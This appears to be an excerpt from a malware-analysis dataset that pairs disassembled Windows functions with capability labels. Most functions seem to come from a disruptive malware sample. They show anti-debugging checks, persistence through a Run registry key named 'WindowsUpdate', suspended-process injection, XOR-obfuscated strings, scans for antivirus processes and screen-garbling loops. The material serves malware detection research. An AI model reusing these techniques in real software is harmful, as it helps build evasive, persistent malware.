joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140062270
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x568
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xf2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x588]
mov rax, qword [0x1400c1300]
xor rax, rbp
mov qword [rbp + 0x538], rax
lea rcx, [0x1400d5cc0]
call fcn.1400346ca
nop
mov r8d, pe_nt_image_headers64
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x568]
call qword [sym.imp.USER32.dll_GetWindowTextW]
nop
lea rdx, [rbp + 0x224]
mov rcx, qword [rbp + 0x568]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
nop
mov rcx, qword [rbp + 0x568]
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x140062433
lea rcx, [rbp + 0x10]
call qword [sym.imp.ucrtbased.dll_wcslen]
test rax, rax
jbe 0x140062433
mov edx, dword [rbp + 0x224]
lea rcx, [rbp + 0x408]
call fcn.140032a41
mov qword [rbp + 0x4f8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x500], rax
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x448]
call fcn.140032c03
mov qword [rbp + 0x508], rax
mov rax, qword [rbp + 0x508]
mov qword [rbp + 0x510], rax
lea r8, str.__PID:__
mov rdx, qword [rbp + 0x510]
lea rcx, [rbp + 0x488]
call fcn.1400336d5
mov qword [rbp + 0x518], rax
mov rax, qword [rbp + 0x518]
mov qword [rbp + 0x520], rax
mov r8, qword [rbp + 0x500]
mov rdx, qword [rbp + 0x520]
lea rcx, [rbp + 0x4c8]
call fcn.14003390f
mov qword [rbp + 0x528], rax
mov rax, qword [rbp + 0x528]
mov qword [rbp + 0x530], rax
lea r8, [0x1400aa60c]
mov rdx, qword [rbp + 0x530]
lea rcx, [rbp + 0x248]
call fcn.1400336d5
nop
lea rcx, [rbp + 0x4c8]
call fcn.140034099
nop
lea rcx, [rbp + 0x488]
call fcn.140034099
nop
lea rcx, [rbp + 0x448]
call fcn.140034099
nop
lea rcx, [rbp + 0x408]
call fcn.140034099
nop
lea rdx, [rbp + 0x248]
mov rcx, qword [rbp + 0x570]
call fcn.140032ad7
nop
lea rcx, [rbp + 0x248]
call fcn.140034099
nop
mov eax, 1
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400a6240]
call fcn.140033fb8
mov eax, edi
mov rcx, qword [rbp + 0x538]
xor rcx, rbp
call fcn.1400331e9
lea rsp, [rbp + 0x548]
pop rdi
pop rbp
ret
Function at 0x14008e910
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14003489b
movzx eax, al
test eax, eax
jne 0x14008e930
mov ecx, 7
call fcn.140033fd1
nop
mov byte [rsp + 0x20], 0
call fcn.14003408a
mov byte [rsp + 0x21], al
cmp dword [0x1400c2e70], 1
jne 0x14008e954
mov ecx, 7
call fcn.140033fd1
nop
jmp 0x14008e9ac
cmp dword [0x1400c2e70], 0
jne 0x14008e9a7
mov dword [0x1400c2e70], 1
lea rdx, [0x1400a0a08]
lea rcx, [0x1400a06d8]
call fcn.140033162
test eax, eax
je 0x14008e988
mov eax, 0xff
jmp 0x14008eab1
lea rdx, [0x1400a05c8]
lea rcx, [section..rdata]
call fcn.140034058
mov dword [0x1400c2e70], 2
jmp 0x14008e9ac
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140033f77
call fcn.140033bc1
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x14008ea09
mov rcx, qword [rsp + 0x30]
call fcn.140032ded
movzx eax, al
test eax, eax
je 0x14008ea09
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x1400d7020]
nop
call fcn.140033d83
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14008ea3d
mov rcx, qword [rsp + 0x38]
call fcn.140032ded
movzx eax, al
test eax, eax
je 0x14008ea3d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140034576
nop
call fcn.14008eb20
mov dword [rsp + 0x28], eax
call fcn.140033ae5
movzx eax, al
test eax, eax
jne 0x14008ea5c
mov ecx, dword [rsp + 0x28]
call fcn.140032267
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14008ea6b
call fcn.1400345da
nop
xor edx, edx
mov cl, 1
call fcn.140032d11
mov eax, dword [rsp + 0x28]
jmp 0x14008eab1
add rsp, 0x68
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000d480]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000d490]
mov dword [rax], 1
mov rax, qword [0x14000d4a0]
mov dword [rax], 1
mov rax, qword [0x14000d420]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000d470]
mov dword [0x14001000c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14000d550]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14000d530]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14000d3d0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400014b0
Capabilities:
Terminate process

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__kbhit]
mov rdi, qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400014d7
mov ecx, 0xa
call rsi
call rbx
test eax, eax
je 0x1400014d0
call rdi
cmp eax, 0x20
jne 0x1400014d0
mov eax, dword [0x140010040]
add eax, 1
cmp eax, 2
mov dword [0x140010040], eax
jle 0x1400014d0
call sym.setNormalExit
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140001510
Capabilities:
Create thread

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
test rcx, rcx
mov rbx, rcx
je 0x1400016c0
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
mov qword [rsp + 0x38], rax
call rax
mov rdi, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x34], eax
nop dword [rax]
mov rax, qword [rsp + 0x38]
call rax
mov edx, dword [rsp + 0x34]
sub eax, edx
cmp eax, 0x752f
ja 0x1400016c0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r15d, r15d
mov edx, pe_nt_image_headers64
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov r12, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x14000159e
add r15, 4
cmp r15, 0x74
je 0x1400016b0
mov rax, qword [rbx]
lea rsi, [r15 + r15]
mov rcx, qword [rax + r15*2]
test rcx, rcx
je 0x140001590
xor edx, edx
call rdi
test eax, eax
jne 0x140001590
mov rax, qword [rbx]
mov rcx, qword [rax + rsi]
call r12
mov ecx, 0x4c
call sym.malloc
test rax, rax
mov r14, rax
je 0x140001590
mov rax, qword [0x140010080]
lea rdx, [0x140010060]
mov rcx, r14
mov qword [r14], rax
mov rax, qword [0x140010088]
mov qword [r14 + 8], rax
mov rax, qword [0x140010090]
mov qword [r14 + 0x10], rax
mov rax, qword [0x140010098]
mov qword [r14 + 0x18], rax
mov rax, qword [0x1400100a0]
mov qword [r14 + 0x20], rax
mov rax, qword [0x1400100a8]
mov qword [r14 + 0x28], rax
mov rax, qword [0x1400100b0]
mov qword [r14 + 0x30], rax
mov rax, qword [0x1400100b8]
mov qword [r14 + 0x38], rax
mov rax, qword [0x1400100c0]
mov qword [r14 + 0x40], rax
mov eax, dword [0x1400100c8]
mov dword [r14 + 0x48], eax
call sym.decryptConfig
mov rax, qword [rbx + 8]
xor ecx, ecx
xor edx, edx
mov r13, qword [rbx]
mov r9, r14
mov dword [rsp + 0x20], 0
add rax, r15
mov qword [rsp + 0x28], rax
lea rax, sym.spawnBrowserChaos
add r13, rsi
mov r8, qword [rax + r15*2]
call rbp
mov qword [r13], rax
mov rax, qword [rbx]
mov rcx, qword [rax + rsi]
test rcx, rcx
je 0x140001590
add r15, 4
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
cmp r15, 0x74
jne 0x14000159e
nop dword [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001548
xor eax, eax
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140001da0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x1f0
lea r8, str.cmd.exe__c_start__s
xor eax, eax
mov r9, rcx
mov ecx, 0xc
mov rsi, rdx
mov dword [rsp + 0x70], 0x68
lea rdi, [rsp + 0x74]
mov edx, 3
mov qword [rsp + 0x50], 0
rep stosq qword [rdi], rax
lea rbx, [rsp + 0xe0]
mov word [rsp + 0xb0], dx
mov edx, 0x104
mov qword [rsp + 0x58], 0
mov rcx, rbx
mov qword [rsp + 0x60], 0
mov dword [rsp + 0xac], 1
mov dword [rdi], 0
call sym.snprintf
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov rdx, rbx
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ebx, eax
je 0x140001e90
mov eax, dword [rsi + 0xc]
test eax, eax
jne 0x140001ea0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rsp + 0x50]
call rsi
mov eax, ebx
add rsp, 0x1f0
pop rbx
pop rsi
pop rdi
ret
mov rcx, qword [rsp + 0x50]
call sym.injectStealthCode
jmp 0x140001e70

Function at 0x140001ed0
Capabilities:
Encode data using xor

Disassembly:
test rcx, rcx
je 0x140001f00
test rdx, rdx
je 0x140001f08
add rdx, rcx
xor eax, eax
nop
movzx r9d, byte [rcx]
add eax, eax
add rcx, 1
xor eax, r9d
cmp rdx, rcx
jne 0x140001ee0
cmp eax, r8d
sete al
movzx eax, al
ret
xor eax, eax
ret
xor eax, eax
jmp 0x140001ef2

Function at 0x140001f10
Capabilities:
Resume thread

Disassembly:
test rcx, rcx
je 0x140001f20
test rdx, rdx
je 0x140001f20
jmp sym.launchProcessStealthily.part.0
xor eax, eax
ret
Function at 0x140001f30
Capabilities:
Encode data using xor

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
test rcx, rcx
mov rsi, rcx
je 0x140002033
call sym.verifyConfigChecksum
test eax, eax
je 0x140002042
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call sym.rand
mov edi, eax
rdtsc
shl rdx, 0x20
or rax, rdx
mov edx, dword [rsi + 0x2c]
test edx, edx
jle 0x14000201e
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, edi
xor r12d, r12d
xor eax, ebx
lea rbx, [0x14000cda0]
movzx edi, al
lea r9, [rbx - 0x40]
xor r8d, r8d
mov rax, r9
nop word [rax + rax]
movzx edx, byte [rax]
lea ecx, [r8 + r8]
add rax, 1
mov r8d, ecx
xor r8d, edx
cmp rbx, rax
jne 0x140001fa0
cmp ecx, edx
jne 0x140002006
mov r8d, edi
mov edx, 0x40
mov rcx, r9
call sym.decryptStringPolymorphic
test rax, rax
mov r13, rax
je 0x140001ff8
mov rdx, rsi
mov rcx, rax
call sym.launchProcessStealthily.part.0
mov rcx, r13
call sym.strlen
mov rcx, r13
mov rdx, rax
call sym.securelyWipe
mov rcx, r13
call sym.free
call sym.rand
cdq
idiv dword [rsi + 0x24]
lea ecx, [rdx + 0x32]
call rbp
add r12d, 1
add rbx, 0x40
cmp dword [rsi + 0x2c], r12d
jle 0x14000201e
cmp r12d, 3
jne 0x140001f90
mov rcx, rsi
mov edx, 0x4c
call sym.securelyWipe
mov rcx, rsi
call sym.free
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov rcx, rsi
mov edx, 0x4c
call sym.securelyWipe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x140002060
Capabilities:
Create process on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x160
test rcx, rcx
mov rsi, rcx
je 0x140002125
lea rax, str.calc.exe
mov r13, qword [sym.imp.KERNEL32.dll_WinExec]
lea rdi, str.notepad.exe
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
movq xmm1, rax
lea rax, str.write.exe
movq xmm0, rdi
lea rdi, str.mspaint.exe
movq xmm2, rax
punpcklqdq xmm0, xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rax, str.cmd.exe
movq xmm0, rdi
punpcklqdq xmm0, xmm2
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x20]
movaps xmmword [rsp + 0x30], xmm0
lea r14, [rsp + 0x48]
lea rdi, [rsp + 0x50]
lea rbp, str.start__s
nop
mov r9, qword [rbx]
mov r8, rbp
mov edx, 0x104
mov rcx, rdi
add rbx, 8
call sym.snprintf
mov edx, 5
mov rcx, rdi
call r13
call sym.rand
cdq
idiv dword [rsi + 0x24]
mov ecx, edx
call r12
cmp rbx, r14
jne 0x1400020f0
xor eax, eax
add rsp, 0x160
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140002800
Capabilities:
Execute command

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x148
test rcx, rcx
mov rsi, rcx
je 0x140002893
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, str.https:__www.bing.com
lea rdi, str.https:__www.google.com
movq xmm1, rax
lea rax, str.https:__www.yahoo.com
movq xmm0, rdi
punpcklqdq xmm0, xmm1
mov qword [rsp + 0x30], rax
lea rbx, [rsp + 0x20]
movaps xmmword [rsp + 0x20], xmm0
lea r13, [rsp + 0x38]
lea rdi, [rsp + 0x40]
lea rbp, str.start__s
mov r9, qword [rbx]
mov r8, rbp
mov edx, 0x100
mov rcx, rdi
add rbx, 8
call sym.snprintf
mov rcx, rdi
call sym.system
call sym.rand
cdq
idiv dword [rsi + 0x24]
mov ecx, edx
call r12
cmp rbx, r13
jne 0x140002861
xor eax, eax
add rsp, 0x148
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x140002a40
Capabilities:
Enumerate processes

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x268
xor edx, edx
mov ecx, 2
call sym.CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov rdi, rax
je 0x140002b59
lea rbp, [rsp + 0x20]
xor edx, edx
mov r8d, 0x238
lea rbx, [rsp + 0x4c]
mov rcx, rbp
call sym.memset
mov rdx, rbp
mov rcx, rdi
mov dword [rsp + 0x20], 0x238
call sym.Process32FirstW
lea r12, str.avp.exe
lea r13, str.avgui.exe
test eax, eax
lea r14, str.msseces.exe
lea r15, str.MsMpEng.exe
jne 0x140002b15
jmp 0x140002b50
mov rdx, r13
mov rcx, rbx
call sym.wcsstr
test rax, rax
jne 0x140002b25
mov rdx, r14
mov rcx, rbx
call sym.wcsstr
test rax, rax
jne 0x140002b25
mov rdx, r15
mov rcx, rbx
call sym.wcsstr
test rax, rax
jne 0x140002b25
lea rdx, str.mbamservice.exe
mov rcx, rbx
call sym.wcsstr
test rax, rax
jne 0x140002b25
mov rdx, rbp
mov rcx, rdi
call sym.Process32NextW
test eax, eax
mov esi, eax
je 0x140002b2a
mov rdx, r12
mov rcx, rbx
call sym.wcsstr
test rax, rax
je 0x140002ac0
mov esi, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
add rsp, 0x268
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
jmp 0x140002b33
Function at 0x140003060
Capabilities:
Capture screenshot

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov r13, qword [sym.imp.GDI32.dll_BitBlt]
mov ebx, 0x14
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
mov rbp, rcx
mov dword [rsp + 0xa8], edx
mov dword [rsp + 0xb0], r8d
nop dword [rax]
call sym.rand
cdq
idiv dword [rsp + 0xa8]
mov edi, edx
call sym.rand
cdq
idiv dword [rsp + 0xb0]
mov r15d, edx
call sym.rand
mov esi, eax
call sym.rand
mov r14d, eax
call sym.rand
mov edx, esi
movsxd rcx, r14d
mov dword [rsp + 0x38], r15d
mov r8d, eax
movsxd rax, esi
sar edx, 0x1f
mov dword [rsp + 0x40], 0xcc0020
imul rax, rax, 0x51eb851f
mov r10d, r8d
mov dword [rsp + 0x30], edi
imul rcx, rcx, 0x51eb851f
sar r10d, 0x1f
mov qword [rsp + 0x28], rbp
sar rax, 0x26
sub eax, edx
movsxd rdx, r8d
sar rcx, 0x25
imul rdx, rdx, 0x66666667
imul eax, eax, 0xc8
sub esi, eax
mov r9d, esi
sar rdx, 0x22
sub edx, r10d
lea edx, [rdx + rdx*4]
add edx, edx
sub r8d, edx
lea edx, [rdi + r8 - 5]
mov r8d, r14d
sar r8d, 0x1f
sub ecx, r8d
mov r8d, r15d
imul ecx, ecx, 0x64
sub r14d, ecx
mov rcx, rbp
mov dword [rsp + 0x20], r14d
call r13
mov ecx, 0x32
call r12
sub ebx, 1
jne 0x140003098
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x140003510
Capabilities:
Capture screenshot

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
test rcx, rcx
je 0x1400035f3
mov rdi, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, 0x1e
mov r15, qword [sym.imp.USER32.dll_MessageBoxA]
mov r14, qword [sym.imp.USER32.dll_GetDC]
mov r13, qword [sym.imp.GDI32.dll_BitBlt]
nop word [rax + rax]
call sym.rand
xor ecx, ecx
mov ebx, eax
call rdi
mov ecx, eax
mov eax, ebx
cdq
idiv ecx
mov r12d, edx
call sym.rand
mov ecx, 1
mov ebx, eax
call rdi
lea r8, str.WARNING
mov r9d, 0x1030
mov ecx, eax
mov eax, ebx
cdq
idiv ecx
xor ecx, ecx
mov ebx, edx
lea rdx, str.SYSTEM_OVERLOAD_
call r15
xor ecx, ecx
call r14
mov r9d, 0xc8
mov r8d, ebx
mov edx, r12d
mov rbp, rax
mov dword [rsp + 0x40], 0xcc0020
lea eax, [rbx + 0xa]
mov rcx, rbp
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x38], eax
lea eax, [r12 + 0xa]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x20], 0xc8
call r13
xor ecx, ecx
mov rdx, rbp
call qword [sym.imp.USER32.dll_ReleaseDC]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
sub esi, 1
jne 0x140003550
xor eax, eax
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140003c70
Capabilities:
Check for time delay via gettickcount

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
test rcx, rcx
je 0x140003d2e
mov r13, qword [sym.imp.KERNEL32.dll_GetTickCount]
call r13
xor ecx, ecx
mov r12d, eax
call qword [sym.imp.USER32.dll_GetDC]
mov rsi, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov rbp, qword [sym.imp.GDI32.dll_BitBlt]
mov rdi, rax
call r13
sub eax, r12d
cmp eax, 0xafc7
ja 0x140003d23
nop dword [rax + rax]
xor ebx, ebx
jmp 0x140003d00
xor ecx, ecx
call rsi
mov r8d, ebx
mov dword [rsp + 0x40], 0xcc0020
xor edx, edx
mov r9d, eax
mov qword [rsp + 0x28], rdi
mov rcx, rdi
lea eax, [rbx - 1]
mov dword [rsp + 0x30], 0
add ebx, 2
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x20], 1
call rbp
mov ecx, 1
call rsi
cmp eax, ebx
jg 0x140003cc8
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
call r13
sub eax, r12d
cmp eax, 0xafc7
jbe 0x140003cc0
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
xor eax, eax
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x140003fb0
Capabilities:
Capture screenshot

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
test rcx, rcx
je 0x140004093
xor ecx, ecx
mov esi, 0x64
call qword [sym.imp.USER32.dll_GetDC]
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov rdi, rax
call rbx
mov ecx, 1
mov r12d, eax
call rbx
mov r14, qword [sym.imp.GDI32.dll_BitBlt]
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, eax
nop dword [rax]
call sym.rand
mov ebx, eax
call sym.rand
mov r9d, r12d
mov dword [rsp + 0x40], 0xcc0020
movsxd rdx, eax
mov ecx, eax
mov dword [rsp + 0x38], 0
imul rdx, rdx, 0x66666667
sar ecx, 0x1f
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x20], ebp
sar rdx, 0x24
sub edx, ecx
mov ecx, ebx
lea edx, [rdx + rdx*4]
sar ecx, 0x1f
shl edx, 3
sub eax, edx
movsxd rdx, ebx
imul rdx, rdx, 0x66666667
lea r8d, [rax - 0x14]
sar rdx, 0x24
sub edx, ecx
mov rcx, rdi
lea edx, [rdx + rdx*4]
shl edx, 3
sub ebx, edx
lea edx, [rbx - 0x14]
call r14
mov ecx, 0x32
call r13
sub esi, 1
jne 0x140004000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
xor eax, eax
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x140004f20
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
test rcx, rcx
je 0x140004f6d
mov rsi, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rsi
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.USER32.dll_GetDC]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rbp, rax
jmp 0x140004f57
mov ecx, 0x14
call rdi
call rsi
sub eax, ebx
cmp eax, 0xafc7
jbe 0x140004f50
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140007c00
Capabilities:
Encode data using xor

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov esi, edx
mov rdi, rcx
call sym.strlen
lea rcx, [rax + 1]
mov rbx, rax
call sym.malloc
xor ecx, ecx
test rbx, rbx
mov edx, esi
je 0x140007c45
nop word cs:[rax + rax]
movzx r8d, byte [rdi + rcx]
xor r8d, edx
mov byte [rax + rcx], r8b
add rcx, 1
cmp rbx, rcx
jne 0x140007c30
mov byte [rax + rbx], 0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140007c60
Capabilities:
Check for debugger via api

Disassembly:
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov edx, eax
mov eax, 1
test edx, edx
jne 0x140007c95
mov dword [rsp + 0x2c], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x2c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov eax, dword [rsp + 0x2c]
add rsp, 0x38
ret

Function at 0x140007ca0
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
cmp dword [rsp + 0x40], 1
setbe al
add rsp, 0x58
ret

Function at 0x140007cc0
Capabilities:
Hide graphical window

Disassembly:
push rbx
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
mov rbx, rax
je 0x140007d08
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x30], 0x17
mov rcx, rbx
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.USER32.dll_SetWindowPos]
nop
add rsp, 0x40
pop rbx
ret

Function at 0x140007d10
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Persist via run registry key
Set registry value
Terminate process

Disassembly:
sub rsp, 0x28
lea r8, str.LocalLutrisChaos
xor ecx, ecx
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140007d3a
add rsp, 0x28
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140007d50
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x150
xor ecx, ecx
mov r8d, 0x104
lea rbx, [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x38]
xor r8d, r8d
mov r9d, 2
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, rbx
call sym.strlen
mov rcx, qword [rsp + 0x38]
xor r8d, r8d
mov r9d, 1
lea rdx, str.WindowsUpdate
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
add rsp, 0x150
pop rbx
ret

Function at 0x140007e40
Capabilities:
Encode data using xor

Disassembly:
test rcx, rcx
je 0x140007e6a
test rdx, rdx
je 0x140007e6a
xor eax, eax
nop dword [rax]
mov r8, rax
and r8d, 0x1f
movzx r8d, byte [rdx + r8]
xor byte [rcx + rax], r8b
add rax, 1
cmp rax, 0x4c
jne 0x140007e50
ret